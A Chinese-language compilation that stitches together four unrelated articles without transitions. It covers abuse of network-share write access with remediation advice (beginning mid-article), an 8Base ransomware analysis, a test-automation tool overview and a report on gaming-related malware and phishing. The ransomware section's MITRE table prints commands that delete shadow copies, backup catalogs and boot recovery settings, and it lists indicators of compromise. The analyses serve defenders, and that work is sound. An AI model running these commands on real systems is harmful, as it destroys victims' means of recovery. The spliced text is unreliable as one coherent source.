寫入訪問權限濫用寫入訪問權限提供了讀取訪問的所有好處,並且能夠添加、刪除、修改和加密文件(如勒索軟件攻擊者)。寫入訪問還提供了將共享訪問轉變為RCE的更多潛力。以下是十個更常見的RCE選項的列表:

1.將web shell寫入web根文件夾,可以通過web服務器訪問。

2.替換或修改應用程序EXE和DLL文件以包含後門。

3.將EXE或DLL文件寫入未引用的應用程序和服務使用的路徑。

4.編寫DLL到應用程序文件夾以執行DLL劫持。你可以使用由NetSPI自己的研究總監NickLanders編寫的Koppeling。

5.將DLL和配置文件寫入應用程序文件夾以執行.net應用程序的appdomain劫持。

6.在“所有用戶”啟動文件夾中寫入可執行文件或腳本,以便在下次登錄時啟動它們。

7.修改計劃任務執行的文件。

8.修改PowerShell啟動配置文件以包含後門。

9.修改MicrosoftOffice模板以包含後門。

10.編寫惡意LNK文件以捕獲或中繼NetNTLM哈希。

你可能已經註意到,我列出的許多技術也常用於持久性和橫向移動,這很好地提醒了舊技術可以有多個攻擊。

下圖是個基本的web shell示例:

1.攻擊者破壞了域用戶。

2.攻擊者掃描共享,找到wwwroot目錄,並上傳web shell。 wwwroot目錄存儲目標IIS服務器上託管的Web應用程序使用的所有文件。因此,你可以將web shell視為擴展已發布Web應用程序功能的東西。

3.使用標準Web瀏覽器,攻擊者現在可以訪問目標IISWeb服務器託管的上傳web shell文件。 4.攻擊者使用web shell訪問以作為Web服務器服務帳戶在操作系統上執行命令。

5.Web服務器服務帳戶可能具有訪問網絡上其他資源的額外權限。

4.png

下面是另一個簡化的圖表,顯示了可用於執行我列出的前10種攻擊的一般步驟。讓我們關註一下被濫用的C$部分。 C$共享是Windows中的默認隱藏共享,標準域用戶不應訪問。它映射到C驅動器,該驅動器通常包括系統上的所有文件。不幸的是,devOops、應用程序部署和單用戶錯誤配置意外或故意使C$共享在比你想像的更多環境中可供所有域用戶使用。在我們的滲透測試中,我們對加入域的系統執行了完整的SMB共享審計,並且我們發現超過一半的時間我們最終對C$共享進行寫訪問。

5.png

網絡共享修復在過度的共享修復工作中追踪系統所有者、應用程序和有效的業務案例對於IAM團隊來說可能是一個巨大的痛苦。對於大型企業而言,這可能意味著對數十萬個共享ACL進行分類。因此,在該工作期間有辦法對共享進行分組和優先級排序可以節省大量時間。

我發現成功分組的訣竅是收集正確的數據。為了確定要收集哪些數據,我們要先設置一些標準,然後確定我可以從哪裡獲得這些數據。

哪些共享有暴露風險?共享名稱:有時,僅共享名稱就可以表明暴露的數據類型,包括C$、ADMIN$和wwwroot等高風險共享。

共享文件計數:當你可能首先嘗試優先考慮高風險共享時,沒有文件的目錄可以成為優先共享修復的一種方式。

目錄列表:與共享名稱類似,共享目錄中的文件夾和文件通常可以告訴你很多有關上下文的信息。

目錄列表哈希:這只是目錄列表的哈希。雖然不是硬性要求,但它可以使識別和比較相同的目錄列表更容易一些。

誰有訪問權限?共享ACL:這將有助於顯示用戶擁有哪些訪問權限,並且可以針對已知的高風險組或大型內部組織進行過濾。

NTFSACL:這將有助於顯示用戶擁有哪些訪問權限,並且可以針對已知的高風險組或大型內部組進行過濾。

它們是什麼時候創建的?

文件夾創建日期:對創建日期進行分組或聚類可以揭示與過去可能引入過多共享權限的業務部門、應用程序和流程相關的趨勢。

誰創建了它們?文件夾所有者:文件夾所有者有時可以將你帶到擁有創建/使用共享的系統、應用程序或流程的部門或業務單位。

主機名:如果使用標準化命名約定,主機名可以指示位置和所有權。

他們在哪裡?計算機名稱:如果使用標準化命名約定,主機共享的計算機名稱通常可用於確定部門和位置等大量信息。

IP地址:與計算機名稱類似,子網通常也分配給執行特定操作的計算機。在許多環境中,該分配記錄在Active Directory中並且可以交叉引用。

如果我們在發現過程中收集了所有這些信息,我們可以使用它來根據共享名稱、所有者、子網、文件夾列表和文件夾列表哈希執行分組,以便我們可以識別大量可以立即修復的相關共享。

過多的權限過多的讀寫共享權限已被定義為任何網絡共享ACL,其中包含針對“所有人”、“經過身份驗證的用戶”、“內置\用戶”、“域用戶”或“域計算機”的顯式ACE(訪問控制條目)組織。由於權限繼承問題,它們都為域用戶提供了對受影響共享的訪問權限。

高風險共享如上所述,高風險共享被定義為提供對系統或應用程序的未經授權的遠程訪問的共享。默認情況下,這包括wwwroot、inetpub、c和c$共享。但是,可能存在其他未提及的風險。

儘管8Base勒索軟件組織在2023年夏天的活動突然猖獗起來,但仍然相對不為人所知。該組織結合利用加密和“點名羞辱”技術,迫使受害者支付贖金。 8Base採用伺機下手的攻擊模式,最近的受害者遍及各行各業。儘管有大量的攻擊活動,但這些事件背後的身份、方法和潛在動機等方面的信息依然成謎。

8Base當前活動的速度和效率並不表明一個新組織開始問世,而是一家老牌的成熟組織在延續。從目前獲得的信息來看,8Base當前活動的某些方面與我們過去所看到的勒索軟件活動似乎驚人地相似。

8Base勒索軟件:我們所知道的情況1.png

圖1. 8Base勒索軟件組織洩露網站的截圖

8Base是一個勒索軟件組織,自2022年3月以來一直很活躍,在2023年6月活動尤為猖獗。他們自稱是“簡單的滲透測試者”,他們的洩露網站通過常見問題解答(FAQ)和規則這兩部分為受害者提供了詳細信息,並附有多個聯繫方式。值得關注的是,8Base使用的措辭風格與另一家知名組織RansomHouse的措辭異常相似。

2.png

圖2. 表明2022年3月至2023年6月8Base勒索軟件組織活動的示意圖

洩露網站上提供的聯繫信息包括如下:

Telegram頻道:https://t[.]me/eightbase

Twitter:@8BaseHome

3.png

圖3. 8Base勒索軟件組織Twitter的截圖

8Base勒索軟件組織攻擊的主要行業包括但不限於:商業服務、金融、製造和信息技術業。

4.png

圖4. 表明8Base勒索軟件組織攻擊的主要行業的示意圖

雖然8Base勒索軟件組織不一定是一家新組織,但最近活動猖獗卻備受矚目。即使在過去的30天內,它也是戰果最豐碩的兩大勒索軟件組織之一。除了勒索函外,公眾對8Base使用的勒索軟件種類知之甚少,只知道它在加密文件後面添加擴展名“.8base”。

5.png

圖5. 對比8Base勒索軟件組織與其他已知勒索軟件組織的受害者統計數據的示意圖

VMware Carbon Black的TAU和MDR-POC團隊進行分析後披露了令人關注的發現結果,並提出了問題:“到底是誰的贖金?”

“誰在勒索?”之謎8Base和RansomHouse我們在剖析8Base時注意到這個組織與另一個組織RansomHouse頗為相似。 RansomHouse是不是一個真正的勒索軟件組織還有待爭論;該組織購買已經洩露的數據,與數據洩露網站狼狽為奸,然後向受害者勒索錢財。

第一個相似之處是在使用自然語言處理模型Doc2Vec對比勒索函的過程中發現的。 Doc2Vec是一種無監督機器學習算法,可以將文檔轉換成向量,可用於識別文檔中的相似性。對比後發現,8Base的勒索函與RansomHouse的勒索函存在99%的匹配度。為了進行比較,我們在下面提供了勒索函的部分內容:

6.png

圖6. 8Base(藍色)與RansomHouse(紅色)勒索函的對比

深入研究後,我們對各自的洩露網站進行了橫向比較。我們再次發現兩者所用的措辭如出一轍。

7.png

圖7. 8Base(藍色)和RansomHouse(紅色)歡迎頁面的對比

措辭是從RansomHouse的歡迎頁面逐字逐句複製到8Base的歡迎頁面的。兩者的服務條款頁面和常見問題解答(FAQ)頁面也是這種情況,如下所示:

8.png 22.png

圖8. 8Base(藍色)與RansomHouse(紅色)服務條款頁面的對比

9.png

圖9. 8Base(藍色)與RansomHouse(紅色)FAQ頁面的對比

比較這兩個勒索軟件組織後,發現只有兩大區別:首先,RansomHouse宣傳合作夥伴關係,並公開招募合作夥伴,而8Base則不然。

10.png

圖10. RansomHouse合作夥伴頁面

這兩個勒索軟件組織之間的第二大區別在於洩露頁面,如下所示:

11.png

圖11. RansomHouse(紅色)和8Base(藍色)洩露頁面

考慮到兩者之間的相似性,我們不禁要問:8Base有沒有可能是RansomHouse的分支還是模仿者。遺憾的是,RansomHouse以使用黑市上各種各樣的勒索軟件而臭名昭著,沒有自己的標誌性勒索軟件,因而很難比較。值得關注的是,我們在研究8Base時也沒能找到一個勒索軟件的變種。我們偶然發現了兩份截然不同的勒索函:一份與RansomHouse的相符,另一份與Phobos的相符。這就引出了一個問題:如果8Base與RansomHouse一樣也由使用不同的勒索軟件來運營,那麼8Base就是RansomHouse的分支嗎?

8Base和Phobos勒索軟件當搜索8Base勒索軟件組織使用的勒索軟件樣本時,加密文件上使用“.8base”擴展名的Phobos樣本被恢復。這可能是他們將要使用的勒索軟件的早期版本,還是8Base使用勒索軟件變種來攻擊受害者?比較Phobos和8Base樣本後發現,8Base使用的是Phobos勒索軟件版本2.9.1,SmokeLoader用於入站初始混淆以及勒索軟件的解包和加載。由於Phobos勒索軟件可通過勒索軟件即服務(RAAS)來獲取,這不足為奇。從8Base的勒索函可以看出,攻擊者可以根據其要求來定制部分內容。雖然勒索函很相似,但關鍵的區別包括:Phobos勒索軟件的上下兩個角落都有Jabber指令和“phobos”,而8Base在上角有“cartilage”、紫色背景,沒有Jabber指示,如下圖所示:

12a.png

12b.png

圖12. 8Base(藍色)與Phobos(紅色)勒索函的對比

儘管8Base添加了自己的品牌定制,為加密文件附加了“.8base”,但整個附加部分的格式與Phobos相同,包括ID部分、電子郵件地址以及文件擴展名。

13.png

圖13. 8Base(藍色)和Phobos(紅色)件擴展名的對比

似乎是8Base勒索軟件組織獨有的其他分析結果包括:8Base樣本是從域名admlogs25[.]xyz下載的,該域名似乎與SystemBC這個代理和遠程管理工具相關聯。 SystemBC已被其他勒索軟件組織用來加密和隱藏攻擊者的指揮和控制流量的目的地。

VMware Carbon Black Detection作為一款端點檢測和響應產品,VMware Carbon Black Managed Detection and Response可以有效地檢測勒索軟件和類似勒索軟件的行為。我們在文章末尾附有攻陷指標部分,可以用於創建檢測和防止8Base勒索軟件執行的規則。

VMware Carbon Black有一個活躍的規則集,用於檢測所有勒索軟件類型的惡意軟件。該規則集足以檢測和防止惡意軟件,並為客戶提供主動保護。建議活躍的客戶確保啟用該規則集。

當然,從一開始就試圖阻止勒索軟件運行很重要。正如報告中所述,8Base使用SystemBC來加密指揮和控制流量,並使用Smokeloader,以便入站初始混淆勒索軟件、完成Phobos勒索軟件的解包和加載。防止這種活動的建議包括如下:

警惕網絡釣魚郵件:許多附有Smokeloader的威脅是通過網絡釣魚郵件投遞的。確保員工了解網絡釣魚電子郵件技術是做好防範工作的關鍵。

確保正確配置網絡監控工具(SIEM解決方案),以防止任何惡意軟件連接到指揮和控制服務器。攻陷指標部分附有域名。

下面所附的攻陷指標對於尋找威脅搜尋而言非常有價值。這些指標是識別潛在安全漏洞和惡意活動的必要工具。如果充分利用這些指標,安全專業人員就能積極主動地調查和消除威脅,並確保系統的完整性和安全性。如果謹慎地搜索威脅和利用這些指標,組織就可以提前防範潛在風險,並保持強大的安全態勢。

總結考慮到8Base的性質,我們目前只能推測他們在使用幾種不同類型的勒索軟件——要么是早期變種,要么是正常活動程序的一部分。我們只知道,這個組織非常活躍,找小企業下手。

8Base到底是Phobos還是RansomHouse的分支還有待觀察。值得關注的是,8Base與RansomHouse幾乎相同,並使用Phobos勒索軟件。目前,8Base仍然是今年這個夏天最活躍的勒索軟件組織之一。

MITRE ATTCK威脅知情防禦(TID):

戰術

技術

描述

TA0003 持久性

T1547.001註冊表運行鍵/啟動文件夾

添加以下內容:

%AppData%\Local\{malware}%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\{malware}%AppData%\Roaming\Microsoft\Start Menu\Programs\Startup\{malware}

TA0007 發現

T1135網絡共享發現

使用WNetEnumResource()搜索網絡資源

TA0004 特權提升

T1134.001令牌冒充/盜竊

使用DuplicateToken()調整令牌特權

TA0005 防禦規避

T1562.001禁用或篡改工具

終止一長串進程,這些進程結合了常用的應用程序(比如MS Office應用程序)和安全軟件

TA0005 防禦規避

T1027.002 經過混淆處理的文件或信息:軟件打包

SmokeLoader解包Phobos並加載到內存中

TA0040 影響

T1490阻止

系統恢復

運行:

wmic shadowcopy delete

wbadmin delete catalog -quiet

vssadmin delete shadows /all /quiet

bcdedit /set {default} recoveryenabled no

bcdedit /set {default} bootstatuspolicy ignoreallfailures

TA0040 影響

T1486數據加密影響

使用AES加密文件

攻陷指標指標

類型

上下文

518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c

SHA-256

8Base 勒索軟件(Phobos變種)

5BA74A5693F4810A8EB9B9EEB1D69D943CF5BBC46F319A32802C23C7654194B0

SHA-256

8Base勒索函(RansomHouse 變種)

20110FF550A2290C5992A5BB6BB44056

MD5

8Base勒索函(RansomHouse 變種)

3D2B088A397E9C7E9AD130E178F885FEEBD9688B

SHA-1

8Base勒索函(RansomHouse 變種)

e142f4e8eb3fb4323fb377138f53db66e3e6ec9e82930f4b23dd91a5f7bd45d0

SHA-256

8Base勒索軟件(Phobos變種)

5d0f447f4ccc89d7d79c0565372195240cdfa25f

SHA-1

8Base勒索軟件(Phobos變種)

9769c181ecef69544bbb2f974b8c0e10

MD5

8Base勒索軟件(Phobos變種)

C6BD5B8E14551EB899BBE4DECB6942581D28B2A42B159146BBC28316E6E14A64

SHA-256

8Base勒索軟件(Phobos變種)

518544E56E8CCEE401FFA1B0A01A10CE23E49EC21EC441C6C7C3951B01C1B19C

SHA-256

8Base勒索軟件(Phobos變種)

AFDDEC37CDC1D196A1136E2252E925C0DCFE587963069D78775E0F174AE9CFE3

SHA-256

8Base勒索軟件(Phobos變種)

wlaexfpxrs[.]org

將數據發佈到URL

8Base勒索軟件引薦域名(Phobos變種)

admhexlogs25[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

admlogs25[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

admlog2[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

dnm777[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

serverlogs37[.]xyz

將數據發佈到URL

8Base勒索軟件引薦域名

9f1a.exe

文件名

8Base勒索軟件投放的文件

d6ff.exe

文件名

8Base勒索軟件投放的文件

3c1e.exe

文件名

8Base勒索軟件投放的文件

dexblog[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

blogstat355[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

blogstatserv25[.]xyz

向URL發送數據獲取請求

8Base勒索軟件引薦域名

測試是創建任何軟件產品不可避免的一部分。但手動測試需要花費大量時間和精力,並且可能導致產品發布延遲。自動化測試可以幫助您提高測試工作的效率並加快解決方案的發布。然而,為了確保自動化測試真正帶來最好的結果,選擇合適的自動化軟件測試工具至關重要。

在本文中,我們簡要概述了我們在Apriorit 實施的測試自動化工具。本文將對QA 專家在他們的項目中尋找正確的方法和自動化測試工具很有用。

什麼是自動化測試?自動化測試是一種使用特殊自動化工具執行回歸測試和單元測試等軟件測試的技術。這種類型的測試與手動測試相反,在手動測試中,測試用例套件由QA 專家手動創建和執行。

自動化測試適用於需要多次重複測試的大型項目,也適用於最初手動測試但需要重新測試的項目。對於短期項目,手動測試更適合,因為它比自動化測試更靈活、更容易實施。您還可以使用手動測試來檢查產品的可用性。

使用軟件工程中的自動化測試工具,您可以比較預期和收到的測試結果,並獲得不同格式的非常詳細的報告。這種方法的一個有用特性是能夠在適當的地方重用測試用例。使用自動化測試,您可以減少手動測試的數量。

測試自動化有什麼好處?讓我們從探索自動化測試相對於手動測試的一些主要優勢開始。了解它們將幫助您了解軟件測試自動化工具是否對您的項目有益。

image.png

自動化測試的優勢

1. 測試速度提升手動測試需要大量的日常工作。相比之下,自動化測試可以讓您在重複性任務上節省大量時間。此外,借助自動化軟件測試工具,您可以全天24 小時執行測試,而無需QA 專家在場並觀察過程。您可以在晚上運行一個腳本,早上就已經有了測試結果。

2. 降低測試成本從長遠來看,自動化降低了測試成本。為應用程序創建測試腳本後,您可以多次重複使用它以發現由於產品更改而出現的錯誤。

3. 提高測試精度自動化測試消除了人為錯誤的可能性。即使是專業的QA 專家也可能會犯無意的錯誤。正確組合的自動化腳本可提供最準確和詳細的測試結果。

4. 更大的測試覆蓋率自動化測試允許您模擬大量用戶在更多設備上的操作,這比手動測試專家在同一時間段內可能涵蓋的範圍要多。產品的測試覆蓋率越高,及時發現潛在錯誤的機會就越大。

5. 早期錯誤檢測確保在引入任何重大更改後測試您的產品。通過這種方式,您可以確保及早發現錯誤和錯誤,並在它們造成嚴重損害之前解決它們。

但是,如果沒有合適的工具,就不可能正確實施自動化測試。在下一節中,我們將討論最佳自動化測試工具的關鍵標準,以幫助您選擇最適合您項目需求的自動化測試工具或框架。

如何選擇最好的自動化測試工具?您可以從確定您對用於軟件測試的自動化工具的要求和評估您團隊的技能開始。然後,您可以根據這些信息評估不同的測試自動化工具和框架及其功能。

image.png

一、項目要求每個項目都是獨一無二的。因此,您應該根據特定項目的要求來選擇最佳的自動化測試工具。對於您的項目,您可以根據要求選擇自動化測試工具,例如:

被測應用類型

支持的平台

支持的瀏覽器

支持的設備

支持的腳本語言

除了這些要求之外,您還可以考慮對測試項目至關重要的其他要求。

二、 QA團隊的編程能力根據QA 團隊的編程技能水平,您需要從兩種類型的自動化測試框架中進行選擇:

無腳本框架。如果您的測試團隊中沒有人具備編程技能,最好使用無腳本框架。選擇特定工具時,請特別注意項目所需的測試複雜程度:可以使用免費工具和服務實施簡單的自動化測試,而具有復雜邏輯的測試可能需要部署付費測試自動化解決方案。

編碼框架。此選項適用於具有強大編程技能的QA 專家。與無腳本替代方案相比,編碼框架更靈活且更易於維護。此外,建議使用編碼框架來測試處理視頻或音頻的產品。當您開始使用編碼框架進行自動化測試時,您將需要花費額外的時間來創建測試用例。但稍後,您將能夠通過重用這些測試用例來節省時間並加快測試過程。

三、CI/CD 集成如果您使用或計劃使用持續集成和持續交付(CI/CD),我們建議您選擇支持CI/CD 解決方案的框架。例如,Jenkins、TeamCity 和Bamboo 等CI/CD 解決方案開箱即用地支持Java、C# 和Python。但是在將這些服務器與其他語言和框架集成時可能會遇到一些困難。

此外,如果您打算使用無腳本框架,值得注意的是並非所有框架都可以與CI/CD 系統集成。

四、報告格式報告是測試自動化框架中最重要的組成部分。完成測試過程後,測試結果報告將幫助您分析應用程序中的所有缺陷。軟件測試中不同的自動化測試工具可以為您提供以下形式的報告:

測試過程視頻記錄

檢測到的錯誤的屏幕截圖

檢測到錯誤的堆棧跟踪

失敗測試步驟的詳細報告

時間報告

根據項目的需要,您可以選擇具有不同報告選項的自動化測試工具。大多數工具都可以創建錯誤和堆棧跟踪的屏幕截圖,並為您提供有關測試時間的信息。但只有少數人可以創建視頻記錄。

視頻記錄可以讓您在測試期間實際看到系統的行為。通過這種方式,您可以花更少的時間來確定特定錯誤的原因。但是視頻錄製會消耗額外的資源,因此由於負載增加,您將能夠運行更少的測試。不過,並非所有測試都需要錄像。例如,在API 測試期間通常不需要視頻報告。

五、工具實施成本雖然測試自動化可以降低測試產品的成本,但實施自動化工具的費用也會有所不同。尤其要注意兩個因素:

框架的成本。有免費產品,但它們的功能往往有限,並不適合所有人。付費產品反過來提供了更多的測試功能,但增加了項目的測試自動化費用。

參與自動化測試過程的專家成本。這可能包括培訓人員使用所選工具執行測試或僱用額外人員在您的項目中實施自動化測試的成本。

這些是為您的項目選擇正確的自動化測試工具的一些關鍵標準。此外,您可以將您的特定要求添加到此列表中。提出最終需求列表後,您可以開始按特定功能比較不同的自動化測試工具。為了讓您更輕鬆地做出選擇,在下一節中,我們將分享Apriorit QA 專家常用的軟件測試自動化工具和框架列表。

5個最好的自動化測試工具市場上有很多自動化軟件測試工具,但並非所有工具都適合您的項目。我們想分享我們在Apriorit 成功使用的自動化測試工具列表。此列表中提供的工具可供不同級別的測試工程師使用,用於測試針對不同平台使用不同語言編寫的產品。

image.png

1. SeleniumSelenium是最流行的自動化網站和Web 應用程序測試框架之一。這個開源框架適合具有高級編程技能的QA 工程師。

Selenium包括幾個組件:

Selenium IDE(集成開發環境)

Selenium RC(遠程控制)

Selenium WebDriver

Selenium Grid

這四個組件有自己的測試自動化方法,因此您可以選擇最適合您目標的方法。

image.png

屏幕截圖1. Selenium 界面

Selenium 是一種靈活的工具,允許您創建用於自動化測試的複雜腳本。您可以使用Selenium 進行跨平台測試。但是,考慮到您可以測試的平台集可能會因您選擇的語言而異。

Selenium 的最大優勢之一是其龐大的社區。如果您在實施此測試工具時需要幫助,您可以輕鬆地從其他Selenium 用戶那裡獲得幫助。

Selenium 可能存在的缺點包括測試支持成本高、初始階段創建測試用例的速度慢以及QA 專家進入門檻高,因為它是一個編碼框架,需要強大的編程技能。

2.SelenideSelenide,一個易於使用的開源Java 測試框架,基於Selenium WebDriver。 Selenide 擴展了Selenium WebDriver和JUnit的功能。在Apriorit,我們使用此工具來快速測試尚未使用自動化工具測試的產品。

image.png

截圖2. Selenide 界面

Selenide 是跨平台的,並且有透明的WebDriver。 WebDriver 幫助您解決超時問題並允許測試Ajax 技術。使用Selenide,您不需要直接操作WebDriver,因為Selenide 控制了瀏覽器。

Selenide 的主要缺點是它只適合使用Java 編寫測試。

3. Telerik Test StudioTelerik Test Studio是軟件測試中的頂級自動化工具之一,可廣泛用於各種測試,包括移動應用程序測試、回歸測試、功能測試和負載測試。雖然它是一個無腳本框架,但您可以在必要時使用編程語言指定它的一些要求。

image.png

截圖3. Telerik Test Studio 界面

Telerik 支持不同的系統,因此非常適合跨平台和跨瀏覽器的應用程序測試。內置記錄器和自動回放允許您對多個測試使用相同的腳本,這有助於您節省時間並提高測試速度。

您可以使用Telerik Test Studio 的試用版30 天。之後,您需要購買許可證。使用Telerik Test Studio,您需要為版本控製配置一個插件。此外,與其他自動化測試工具相比,Telerik 提供了一種不太舒適且更難處理對象屬性的方式。

4.Katalon StudioKatalon Studio是軟件工程中一個相對簡單的自動化測試工具,它使用預定義的工件結構,例如測試用例、測試套件、測試對象和報告。這極大地簡化了QA 專家的任務並加快了測試速度。

image.png

截圖4. Katalon Studio 界面

該框架支持關鍵字驅動的測試。為了創建測試用例,QA 專家使用關鍵字來指示用戶對測試應用程序的操作。除了標準關鍵字外,您還可以添加自定義關鍵字。此功能將幫助編程知識有限的QA 專家更快地創建測試套件。為了更快地執行測試,您還可以使用測試套件集合功能並行或連續運行多個測試套件。

社區小是Katalon Studio 的缺點之一。如果您遇到此框架的問題,您將很難獲得任何支持。其次,您需要購買許可證才能獲得更多功能,因為只有基本功能是免費提供的。

5.TestCompleteTestComplete是一個無腳本框架,還支持多種編程語言。

image.png

截圖5. TestComplete 界面

使用TestComplete 框架,QA 專家可以記錄並在以後回放測試場景,並且可以在不同的測試階段插入檢查點以檢查結果。使用對象識別引擎,TestComplete 可以識別動態界面元素。這對於用戶界面經常變化的應用程序特別有用。

至於TestComplete的缺點,成本高,有一些穩定性問題,缺乏透明的文檔。

測試自動化工具比較在下表中,我們對本文討論的所有五種頂級測試自動化工具進行了比較:

image.png

結論自動化測試使您能夠更快、更準確地處理測試任務。但為了獲得最佳結果,選擇正確的測試工具很重要。沒有適用於所有項目的通用解決方案。選擇合適的工具取決於您的項目要求、您的預算和QA 專家的編程技能。

sl-neon-gamepads-red-1200x600.jpg

隨著收益和玩家數量(超過30億)的增加,遊戲行業也成為攻擊者的目標,尤其是玩家們期待已久的熱門遊戲經常被用作惡意活動的誘餌。截至2022年,近四分之一的玩家是未成年人,他們更容易成為攻擊者的獵物。

分析方法為了深入了解當前與遊戲相關的網絡安全風險,卡巴斯基對針對遊戲社區的普遍威脅進行了全方位研究。從偽裝成遊戲應用、mod和作弊的威脅到對該領域最活躍的惡意軟件家族的功能分析。他們還分析了使用各種遊戲名稱和遊戲平台作為誘餌的網絡釣魚頁面。

本文的分析利用了來自卡巴斯基安全網絡(KSN)的數據,這是一個處理卡巴斯基用戶自願分享的匿名網絡威脅相關數據的系統。分析時間段從2022年7月1日到2023年7月1日。

研究人員除了選擇在流媒體平台(如Origin和Steam)上下載或準備發布的排名前14款遊戲,還分析了與平台無關的遊戲進行研究。

遊戲列表是基於互聯網上最受歡迎遊戲的幾個排名。他們重點分析了手機版和桌面版《我的世界》 《Roblox》 《反恐精英:全球进攻》 (CS:GO)、《绝地求生》 (PUBG),《霍格沃茨遗产》 《远古防御2》 (DOTA 2),《英雄联盟》 《魔兽世界》 《Apex传奇》 《暗黑破坏神4》 《星球大战绝地求生》 《塞尔达传说》 《博德之门3》 和《最终幻想XVI》 相關的威脅。

威脅分析在過去的一年裡(2022年7月1日至2023年7月1日),卡巴斯基總共檢測到4076530次與遊戲相關的桌面感染,影響著全球192456名玩家。

最常見的威脅是下載程序(89.70%),其次是廣告軟件(5.25%)和特洛伊木馬(2.39%)。

作為誘餌,使用最多的遊戲是《我的世界》 ,佔70.29%,其次是《Roblox》 (20.37%)、《反恐精英:全球攻势》 (4.78%)和《PlayerUnknown’s Battlegrounds》 (2.85%)。

卡巴斯基的移動解決方案檢測到436786次與遊戲相關的感染嘗試,影響了84539名用戶。

《我的世界》 用戶(90.37%)是手機惡意軟件的最大目標,其次是PlayerUnknown的《绝地求生》 (5.09%)、《Roblox》 (3.33%)和《Baldur’s Gate》 (0.68%)。

電腦版統計方面,《我的世界》 仍然是最受攻擊者歡迎的目標。從2022年7月1日到2023年7月1日,卡巴斯基解決方案檢測到4076530次下載嘗試,共涉及30684個獨特文件,這些文件以流行遊戲或mod,作弊和其他遊戲相關軟件的名義傳播,影響了全球192456名用戶。這些文件大多是被稱為“下載器”的無用軟件(89.70%)。這類軟件本身並不危險,但它會將包括惡意軟件在內的各種其他程序下載到設備上。廣告軟件(5.25%)和木馬(2.39%)也位列桌面遊戲相關威脅的前三名。

1.png

2022年7月1日至2023年7月1日,全球十大流行遊戲威脅

在選取的14款遊戲中,《我的世界》 (70.29%)仍然是最受攻擊者歡迎的遊戲。這款沙盒遊戲在2023年擁有超過1.6億的月活躍玩家,並且仍然是世界上玩得最多的電腦遊戲之一。過去一年,利用這款遊戲作為誘餌的威脅影響著全球130619名用戶。

在30367名用戶的電腦上,惡意軟件和不受歡迎的軟件在文件名中提到Roblox(第二大目標遊戲),引發了20.37%的警報,其次是反恐精英:全球攻勢(4.78%)、絕地求生(2.85%)、霍格沃茨遺產(0.60%)、DOTA 2(0.45%)和英雄聯盟(0.31%)。

2.png

2022年7月1日至2023年7月1日,按相關威脅檢測數量排名的遊戲

3.png

從2022年7月1日到2023年7月1日,受相關威脅影響的用戶數量

4.png

2022年7月1日至2023年7月1日期間,按被作為誘餌來排名的遊戲

與手機遊戲相關的威脅自疫情以來,在智能手機和平板電腦等移動設備上玩視頻遊戲的移動遊戲用戶數量激增,尤其是在美國和亞太地區。根據Statista的數據,到2027年,手機遊戲玩家的數量將達到23億。

雖然有些遊戲的手機版本在發布後不久甚至在開發階段就被關閉了,但不時會出現號稱是手機改編的版本遊戲,攻擊者正是利用遊戲玩家迫切想要玩的心理進行誘餌攻擊。

從2022年7月1日到2023年7月1日,卡巴斯基解決方案檢測到436786次試圖感染84539名用戶的移動設備。大多數被調查的遊戲至少有一次被用作手機玩家的誘餌。

5.png

從2022年7月1日到2023年7月1日,具有威脅的遊戲排名

《我的世界》 用戶再次成為主要攻擊目標,90.37%的攻擊與這款遊戲有關,這些攻擊影響了80128名玩家。

比如,印度尼西亞的手機遊戲玩家成為攻擊者的目標,他們使用《我的世界》 作為Trojan.AndroidOS.Pootel.a的網關,當應用程序在用戶手機上啟動時,會在另一個應用市集(Application Marketplace)中打開《我的世界》 頁面。

然後,通過使用惡意代碼,它開始悄悄地註冊手機用戶。為了獲取電話號碼(這是完成訂閱所必需的),應用程序使用谷歌電話號碼提示API。然後,它在一個不可見的窗口中打開訂閱激活頁面,並將收到的用戶號碼插入到相應的字段中。之後,它點擊Subscribe按鈕,從傳入的文本消息中截取確認代碼,並將其粘貼到確認頁面上的必填字段中。

研究還顯示,伊朗的《我的世界》 手機玩家被攻擊次數最多,在這個國家,140482個警報被觸發,影響了54467個《我的世界》 玩家。

《绝地求生:大逃杀》 是卡巴斯基發現的第二大最受攻擊者歡迎的手機遊戲,佔所有警報的5.09%,其中大部分來自俄羅斯聯邦的玩家。

Roblox(3.33%)在檢測數量上排名第三,但在受影響用戶數量上排名第二。其中一個針對Roblox粉絲的惡意軟件家族是SpyNote間諜木馬,它以mod的名義在用戶中傳播。它具有許多間諜功能,例如記錄鍵盤敲擊,記錄屏幕和播放手機攝像頭的視頻,它還可以模仿谷歌和Facebook的官方應用程序,誘騙用戶洩露密碼。

排名第四的手機遊戲是《博德之门》 (Baldur’s Gate),這是一款目前還沒有正式手機版本的遊戲。大多數受影響的玩家位於俄羅斯聯邦、巴西和土耳其。

6.png

從2022年7月1日到2023年7月1日,威脅用戶遊戲的排名

網絡釣魚活動接下來,我們將深入分析14款遊戲以及其他遊戲作為誘餌的網絡釣魚活動。

虛假遊戲推廣頁面偽裝成流行遊戲的惡意和不受歡迎的軟件通常由提供盜版遊戲的第三方網站傳播。在下面的截圖中,你可以看到這類網站的例子,它們提供“免費”下載Atomic Heart, CS:GO和Euro Truck Simulator。

7.jpeg

其中一些頁面在下載按鈕下方顯示了相對較高的下載數量,很可能向用戶證明該軟件是安全的。點擊這個按鈕會下載一個存檔文件,其中可能包含不需要的甚至是危險的軟件,但不一定是遊戲本身。

8.jpeg

尋找遊戲賬號由於大多數遊戲允許用戶購買和出售有價值的遊戲道具,遊戲賬戶自然而然成為攻擊者緊盯的一個有利可圖的目標,尤其是那些包含大量熱門遊戲以及關聯信用卡的賬戶。

遊戲中最受歡迎的誘惑之一便是免費贈送遊戲內道具或皮膚。下圖報價很可能會導致用戶的Steam或Riot Games賬戶被盜。騙術很簡單,要獲得贈品,用戶必須登錄你的賬戶,這意味著在網絡釣魚網站上輸入用戶憑據。

9.jpeg

《反恐精英》 的粉絲經常會被“免費”皮膚所吸引,這在遊戲中可能是很有價值的財產。去年,一名用戶的賬戶被黑客攻擊,損失了價值200萬美元的皮膚。不幸的是,那些上當受騙的人將失去他們已經擁有的東西,而不是免費獲得一個有價值的皮膚。

